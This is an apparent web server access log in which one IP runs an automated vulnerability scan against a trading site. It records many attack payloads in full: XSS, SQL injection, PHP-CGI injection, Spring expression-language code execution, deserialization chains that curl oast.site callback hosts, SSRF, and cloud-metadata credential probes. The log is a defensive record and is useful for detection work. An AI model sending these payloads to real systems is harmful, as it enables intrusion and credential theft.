[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /res/login.jsf?javax.faces.ViewState=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAK2Q1ZzZzZmFoYXVzbGpla2VwbDIwNmRiMTdyY2Vha2tibS5vYXN0LnNpdGV0AABxAH4ABXQABGh0dHBweHQAMmh0dHA6Ly9kNWc2c2ZhaGF1c2xqZWtlcGwyMDZkYjE3cmNlYWtrYm0ub2FzdC5zaXRleA== HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //advanced-elements/list/index.html?reloaded&sort=date_asc&page=3\">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /geoserver/wms HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /global-protect/portal/images/380CxtQxWIjiht934S5Kx391g7m.txt HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/post-smtp/v1/get-log HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WLC0ney2%22%3E%3Cimg%20src=a%20onerror=alert%28document.domain%29%3E/..CFIDE/administrator/index.cfm HTTP/1.1" 199
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /adminer.php HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /service.pdfs/confluence?lang=en&file=`curl+d5g6sfahausljekepl20bkbtc75tn5m4k.oast.site` HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CFIDE/componentutils/login.cfm HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/cav/client/status/../../admin/options HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /position.js HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/T(java.lang.Runtime).getRuntime().exec(new%20java.lang.String(T(java.util.Base64).getDecoder().decode(%22bnNsb29rdXAge3tpbnRlcmFjdHNoLXVybH19%22))) HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /version.txt HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CFIDE/administrator/images/mx_login.gif HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Admin/index.php HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /coda/frameset?cols=\"><frame%20src=\"javascript:alert(document.domain)\"> HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /clients/MyCRL HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/webcm?getpage=../html/login.html HTTP/1.1" 199
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/login HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_something_.cfm HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/ngg/v1/admin/block/image/1 HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /nagiosxi/login.php HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /libs/granite/core/content/login.html HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /partymgr/control/getJSONuiLabelArray HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc/importers/bulkeditor.html HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc/acs-commons/jcr-compare.html HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mgmt/shared/authn/login HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /adfs/ls/idpinitiatedsignon.aspx HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/access.log HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /watch/catalog/all-products?cat=1&bhl4n%2522%253e%253cScRiPt%253ealert%2528'document_domain'%2529%253c%252fScRiPt%253eiyehb=1 HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /AHT/ HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CFIDE/wizards/common/utils.cfc?method=wizardHash%20inPassword=bar%20_cfclient=true HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?aam-media=wp-config.php HTTP/1.1" 3426
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/ HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dispatcher/invalidate.cache HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /crx/explorer/ui/namespace_editor.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /crx/explorer/ui/search.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /author-sitemap.xml HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/help/support HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /app HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /crx/explorer/browser/index.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /file-manager/backend/permissions HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /crx/packmgr/index.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /libs/granite/core/content/login.html/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apps.tidy.infinity.json HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /libs/granite/core/content/login/favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /crx/packmgr/list.jsp;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0aa.css?_dc=1615863080856&_charset_=utf-8&includeVersions=true HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SyZ8%3Cimg%20src=x%20data%27a%27onerror=alert%28domain%29%3E.childrenlist.html HTTP/1.1" 199
[09/Jan/2026:10:51:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927379333 HTTP/1.1" -
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /client/ HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.well-known/acme-challenge/../../admin/diagnostic.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /classifieds%22%3E%3Cimg+src=a+onerror=alert%28document.domain%29%3Eridxm/search?category=1 HTTP/1.1" 199
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CmBUG5SDZO.php HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_admin/index.html HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fxRs%3Cbr%3E%3Cbr%3Eplease%20authenticate%3Cbr%3E%3Cbr%3E.childrenlist.html HTTP/1.1" 199
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /crx/explorer/ui/search.jsp?Path&amp;Query HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc/linkchecker.html HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/login HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /partymgr/control/getJSONuiLabelArray HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /groovyconsole HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/console/bundles HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/users/admin?fields=*,privileges/PrivilegeInfo/cluster_name,privileges/PrivilegeInfo/permission_name HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /var HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /libs/granite/core/content/login.html/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/6 HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ampps/index.php?act=login HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc/reports/diskusage.html HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/i18n/en.json HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cfide/administrator/images/mx_login.gif HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CFIDE/wizards/common/utils.cfc?method=wizardHash%20inPassword=bar%20_cfclient=true HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /datacenter/dataOrigin.ashx?c=login HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /concerto/Login?goto=Central HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //content/dam/formsanddocuments.form.validator.html/home/....children.tidy...infinity..json HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/login.html HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/wcm/contentfinder/connector/suggestions.json;%0aOJh.css?query_term=path%3a/&pre=380CxsOyNBLyzfpdXtHEykpHDEe HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /update.php HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /content/..;/crx/packmgr/list.jsp;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0aa.css?_dc=1615863080856&_charset_=utf-8&includeVersions=true HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /installation/index.php HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /airflow.cfg HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Token HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /libs/granite/security/content/useradmin.html HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/airflow/login HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /crx/de/setPreferences.jsp;%0A.html?language=en&keymap=<svg/onload=confirm(document.domain);>//a HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php/node_info.php HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /model-versions/get-artifact?path=random&name=zkqGCH&version=2 HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/ HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /crx/explorer/nodetypes/index.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /libs/granite/offloading/content/view.html HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/ HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380Cxuf9Y0w59LM99NqAtSmFGzY HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /aa404bb?a</script><script>alert(/XSS/)</script> HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app?service=page/PrinterList HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET https://trade.kingston.com.hk:443//latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance HTTP/1.1" 226
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/sling/loginstatus HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /content.infinity.json HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/ajax.php?action=login HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mgmt/tm/util/bash HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagiosxi/index.php/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=(SELECT+CASE+WHEN+1=1+THEN+sleep(5)+ELSE+sleep(0)+END+) HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/public HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-includes/ALFA_DATA/ HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /model-versions/get-artifact?name=380Cy4VcDyCXJRgnmNQ5zdgWLCH&path=etc%2Fpasswd&version=1 HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/canal/config/1/1 HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc/designs/xh1x.childrenlist.json//%3Csvg%20onload=alert%28document.domain%29%3E.html HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc/acs-commons/workflow-remover.html HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php5 HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/querybuilder.json HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /libs/cq/security/userinfo.json HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pictureproxy.php?url=http://d5g6sfahausljekepl20fu3wff7udmtnb.oast.site HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/sling/cqform/defaultlogin.html HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /author_posts.php?author=admin%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5(999999999),1,1),NULL,NULL,NULL,NULL--%20-&p_id=1 HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_adminer.php HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/sling/info.sessionInfo.json HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /miscadmin HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.tidy.infinity.json HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //advanced-elements/list/list-filters/index.html?reloaded&sort=date_asc&page=2\">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/dispatcher.cgi?cmd=1 HTTP/1.1" 199
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/lp/v1/load_content_via_ajax/?callback={\"class\":\"LP_Helper\",\"method\":\"maybe_unserialize\"}&args=\"O%3a8%3a\\u0022WP_Theme\\u0022%3a2%3a{s%3a7%3a\\u0022headers\\u0022%3bO%3a13%3a\\u0022WP_Block_List\\u0022%3a2%3a{s%3a6%3a\\u0022blocks\\u0022%3ba%3a1%3a{s%3a4%3a\\u0022Name\\u0022%3ba%3a1%3a{s%3a9%3a\\u0022blockName\\u0022%3bs%3a12%3a\\u0022Parent+Theme\\u0022%3b}}s%3a8%3a\\u0022registry\\u0022%3bO%3a22%3a\\u0022WP_Block_Type_Registry\\u0022%3a1%3a{s%3a22%3a\\u0022registered_block_types\\u0022%3bO%3a8%3a\\u0022WP_Theme\\u0022%3a2%3a{s%3a7%3a\\u0022headers\\u0022%3bN%3bs%3a6%3a\\u0022parent\\u0022%3bO%3a22%3a\\u0022WpOrg\\\\Requests\\\\Session\\u0022%3a3%3a{s%3a3%3a\\u0022url\\u0022%3bs%3a10%3a\\u0022http%3a//p%3a0\\u0022%3bs%3a7%3a\\u0022headers\\u0022%3ba%3a1%3a{i%3a0%3bs%3a64%3a\\u0022curl+d5g6sfahausljekepl20zyzzbd7u9td81.oast.site/?htxGmJL380Cy3pCrJ2E5DqITaMehtxGmJL380Cy\\u0022%3b}s%3a7%3a\\u0022options\\u0022%3ba%3a1%3a{s%3a5%3a\\u0022hooks\\u0022%3bO%3a20%3a\\u0022WpOrg\\\\Requests\\\\Hooks\\u0022%3a1%3a{s%3a5%3a\\u0022hooks\\u0022%3ba%3a1%3a{s%3a23%3a\\u0022requests.before_request\\u0022%3ba%3a1%3a{i%3a0%3ba%3a1%3a{i%3a0%3ba%3a2%3a{i%3a0%3bO%3a20%3a\\u0022WpOrg\\\\Requests\\\\Hooks\\u0022%3a1%3a{s%3a5%3a\\u0022hooks\\u0022%3ba%3a1%3a{s%3a15%3a\\u0022http%3a//p%3a0/Name\\u0022%3ba%3a1%3a{i%3a0%3ba%3a1%3a{i%3a0%3bs%3a6%3a\\u0022system\\u0022%3b}}}}i%3a1%3bs%3a8%3a\\u0022dispatch\\u0022%3b}}}}}}}}}}s%3a6%3a\\u0022parent\\u0022%3bN%3b}\" HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/kvm?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install.php HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /alfresco/api/-default-/public/cmis/versions/1.1/atom HTTP/1.1" 196
[09/Jan/2026:10:51:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cfide/componentutils/login.cfm HTTP/1.1" 196
